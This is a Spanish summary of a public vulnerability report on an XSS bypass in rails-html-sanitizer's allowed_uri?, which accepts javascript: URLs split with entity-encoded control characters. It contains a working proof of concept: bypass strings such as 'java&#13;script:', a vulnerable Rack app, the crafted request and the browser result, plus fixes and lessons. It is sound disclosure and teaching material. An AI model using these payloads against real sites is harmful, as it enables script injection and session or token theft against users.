Reports
BAJA[XSS]#3601655

Rails: allowed_uri? daba por buenas URLs javascript: partidas con caracteres de control codificados como entidades

El ayudante Rails::HTML::Sanitizer.allowed_uri? devolvía true para valores como java
script:alert(1). El navegador los convierte en javascript: y los ejecuta al pulsar el enlace.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La gema rails-html-sanitizer (probado en la versión 1.7.0) tiene un método público, Rails::HTML::Sanitizer.allowed_uri?, que sirve para decidir si una cadena se puede usar sin peligro como valor de un atributo URI, como href. El fallo está en ese método: si el esquema javascript: se parte con un carácter de control escrito como entidad HTML, el método devuelve true y lo da por seguro.

Algunos valores que devolvían true:

java
script:alert(1)
java
script:alert(1)
jav	ascript:alert(1)

Al pintar uno de estos valores en un href, el navegador decodifica la entidad, elimina el retorno de carro, el salto de línea o el tabulador, y lo que queda es un enlace javascript: que se ejecuta al hacer clic.

Hay que precisar el alcance: el saneado normal con sanitize(...) no está afectado. El problema solo afecta a quien llama directamente a allowed_uri? y se fía de lo que devuelve.

Dónde está el fallo

El método de Rails delega en Loofah:

# lib/rails/html/sanitizer.rb

def allowed_uri?(uri_string)
  Loofah::HTML5::Scrub.allowed_uri?(uri_string)
end
# loofah/lib/loofah/html5/scrub.rb

def allowed_uri?(uri_string)
  val_unescaped = CGI.unescapeHTML(uri_string.gsub(CONTROL_CHARACTERS, "")).gsub(":", ":").downcase
  if URI_PROTOCOL_REGEX.match?(val_unescaped)
    protocol = val_unescaped.split(SafeList::PROTOCOL_SEPARATOR)[0]
    return false unless SafeList::ALLOWED_PROTOCOLS.include?(protocol)
  end
  true
end

El problema es el orden de las operaciones. Primero se quitan los caracteres de control literales y después se decodifican las entidades HTML. Con java
script:... no hay ningún carácter de control literal que quitar. Al decodificar queda java\rscript:..., con el carácter de control ya dentro, y el método devuelve true. El navegador, en cambio, normaliza el valor y lo interpreta como javascript:.

El propio código de Loofah describe el método como una comprobación de seguridad: «Returns true if the given URI string is safe, false otherwise». Por eso un falso true rompe lo que promete.

Pasos de reproducción

  1. Instala rails-html-sanitizer 1.7.0 y ejecuta esta comprobación mínima:
require "rails-html-sanitizer"

puts Rails::HTML::Sanitizer.allowed_uri?("java
script:alert(1)")
puts Rails::HTML::Sanitizer.allowed_uri?("java
script:alert(1)")
puts Rails::HTML::Sanitizer.allowed_uri?("jav	ascript:alert(1)")

Las tres llamadas imprimen true.

  1. Comprueba que el saneado normal sí funciona, para descartar que el fallo esté ahí:
require "rails-html-sanitizer"

san = Rails::HTML5::SafeListSanitizer.new
puts san.sanitize('<a href="java&#13;script:alert(1)">x</a>')

Devuelve <a>x</a>: el href desaparece.

  1. Para verlo en un caso realista, levanta esta aplicación Rack mínima. Recibe un parámetro next, lo valida con allowed_uri? y, si pasa, pinta un enlace «Continue»:
require "rack"
require "rails-html-sanitizer"

app = lambda do |env|
  req = Rack::Request.new(env)

  case [req.request_method, req.path_info]
  when ["GET", "/"]
    next_url = req.params["next"].to_s
    next_url = "java&#13;script:document.title='owned';document.body.innerText='EXECUTED';void(0)" if next_url.empty?
    allowed = Rails::HTML::Sanitizer.allowed_uri?(next_url)

    body = <<~HTML
      <!doctype html>
      <html>
        <head>
          <meta charset="utf-8">
          <title>allowed-uri-e2e</title>
        </head>
        <body>
          <h1>Continue</h1>
          <pre id="meta">allowed=#{allowed.inspect}\nnext=#{next_url.inspect}</pre>
          #{allowed ? %(<a id="continue" href="#{next_url}">Continue</a>) : %(<p id="blocked">Blocked</p>)}
        </body>
      </html>
    HTML

    [200, { "content-type" => "text/html; charset=utf-8" }, [body]]
  else
    [404, { "content-type" => "text/plain; charset=utf-8" }, ["not found"]]
  end
end

run app
  1. Envíale el valor malicioso en next:
GET /?next=java%26%2313%3Bscript%3Adocument.title%3D%27owned%27%3Bdocument.body.innerText%3D%27EXECUTED%27%3Bvoid(0) HTTP/1.1
Host: 127.0.0.1:9442
User-Agent: curl/8.7.1
Accept: */*
  1. La respuesta muestra allowed=true y el enlace sale tal cual:
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-length: 520

<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <title>allowed-uri-e2e</title>
  </head>
  <body>
    <h1>Continue</h1>
    <pre id="meta">allowed=true
next="java&#13;script:document.title='owned';document.body.innerText='EXECUTED';void(0)"</pre>
    <a id="continue" href="java&#13;script:document.title='owned';document.body.innerText='EXECUTED';void(0)">Continue</a>
  </body>
</html>
  1. Abre la página en Chrome. El DOM normaliza el enlace así:
attr     = "java\\rscript:document.title='owned';document.body.innerText='EXECUTED';void(0)"
href     = "javascript:document.title='owned';document.body.innerText='EXECUTED';void(0)"
protocol = "javascript:"
  1. Pulsa «Continue». El código se ejecuta y la página cambia:
document.title = "owned"
document.body.innerText = "EXECUTED"

El investigador adjuntó también una captura con el mismo resultado usando alert('test').

Impacto

No es un XSS automático en cualquier aplicación Rails. Para que se pueda explotar tienen que darse tres condiciones:

  1. La aplicación valida una URL que controla el usuario con Rails::HTML::Sanitizer.allowed_uri?.
  2. Si la validación pasa, pinta esa URL en un href u otro atributo que el navegador trate como URI.
  3. La víctima pulsa el enlace.

Si se cumplen, el atacante consigue ejecutar JavaScript en el navegador de la víctima cuando hace clic. Según el reporte, con eso podría robar tokens o datos de la página en los flujos afectados, hacer acciones en la sesión de la víctima o abusar del enlace de «continuar» para phishing.

Remediación

El reporte no detalla qué cambio se publicó ni en qué versión. Lo que propuso el investigador fue:

  • decodificar las entidades HTML antes del último paso que elimina los caracteres de control, o
  • volver a quitar los caracteres de control después de decodificar, antes de comprobar el protocolo.

Y añadir pruebas de regresión con java&#13;script:..., java&#10;script:... y jav&#9;ascript:....

Qué aprender de este caso

  • En cualquier función que limpie una URL, mira el orden de los pasos: si normaliza (quita espacios o caracteres de control) antes de decodificar entidades o porcentajes, lo que aparezca al decodificar se salta la limpieza. Prueba con &#9;, &#10; y &#13; metidos dentro de javascript.
  • Fíjate en qué devuelve la función cuando no reconoce el esquema. Aquí el valor por defecto era true. Es más seguro usar una lista blanca que exija http:, https: o una ruta relativa y rechace todo lo demás.
  • Un método de validación suelto no equivale al saneador completo: sanitize(...) quitaba el href, pero allowed_uri? lo daba por bueno. Si tu código usa estos ayudantes para parámetros de continuación o redirección como next, pruébalos por separado con los mismos payloads.
  • Para validar URLs de usuario, es más fiable parsearlas como lo haría el navegador (con un parser que siga el estándar WHATWG URL) y comprobar el protocolo resultante que limpiar la cadena con expresiones regulares.